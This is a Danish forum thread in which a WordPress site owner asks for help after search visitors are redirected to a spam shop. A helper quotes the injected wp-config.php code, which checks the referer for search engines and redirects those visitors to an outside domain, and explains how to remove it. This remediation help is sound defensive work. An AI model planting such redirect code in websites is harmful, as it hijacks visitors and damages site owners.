Hjælp! Min Wordpress side er blevet Hijacked!
Fra Aarhus
Tilmeldt 24. Nov 12
Hej PANIK! Når man søger mit firma: "Coach and Care" i google , og klikker på hjemmesidelinket, bliver man videresendt til en side med japanske kjoler. - og dette er ikke min ydelse! Hvordan kan jeg få dette fjernet hurtigst muligt???
Svar
Tilmeldt 18. Apr 07
Kontakt din udbyder, det virker som om at din side bliver videresendt
Svar
Tilmeldt 20. Apr 07
Slettet bruger
Skrevet
23-02-2017 kl. 19:19
Hvor mange stjerner giver du? :
Svar
Hej
Jeg vil anbefale dig at se lidt på denne side
https://sitecheck.sucuri.net/results/coachandcare.dk
Svar
Tilmeldt 20. Apr 07
Slettet bruger
Skrevet
23-02-2017 kl. 19:20
Hvor mange stjerner giver du? :
Svar
https://sitecheck.sucuri.net/
Svar
Tilmeldt 20. Apr 07
Slettet bruger
Skrevet
23-02-2017 kl. 19:30
Hvor mange stjerner giver du? :
Svar
samt https://blog .sucuri.net/2016/05/wordpress-redirect-hack-test0-default7.html
Svar
Tilmeldt 29. Oct 16
Ron Brevstgaard
Skrevet
23-02-2017 kl. 22:48
Hvor mange stjerner giver du? :
Svar
Hej Jakob,
Anti-panik: Der er blot foretaget lidt code injection i din wp-config.php fil.
Find frem til
```<?php
$referer = $_SERVER['HTTP_REFERER'];
```
der bl.a. indeholder:
```
}
//
$from_search_engine = false;
$jump_referer = array('google','bing ','yahoo','msn','ask','yandex','aol');
foreach($jump_referer as $ref){
$ref_rst = stripos($referer,$ref);
if($ref_rst > -1){
$from_search_engine=true;
break;
}
}
if($from_search_engine){
header("Location: http://www.acc2buy.com/");
exit;
}
?>
``` og slet til og med:
```
exit; } ?>
```
Eftersom at det lader til at Wordfence er aktiv (i kildenkoden) og én ret gammel bot har haft succes bør du nok gennemgå dine valgte plugins mv.
Vh. Ron .
Svar
Fra Aarhus
Tilmeldt 24. Nov 12
Tak en milliard gange. Nu virker den igen.
Svar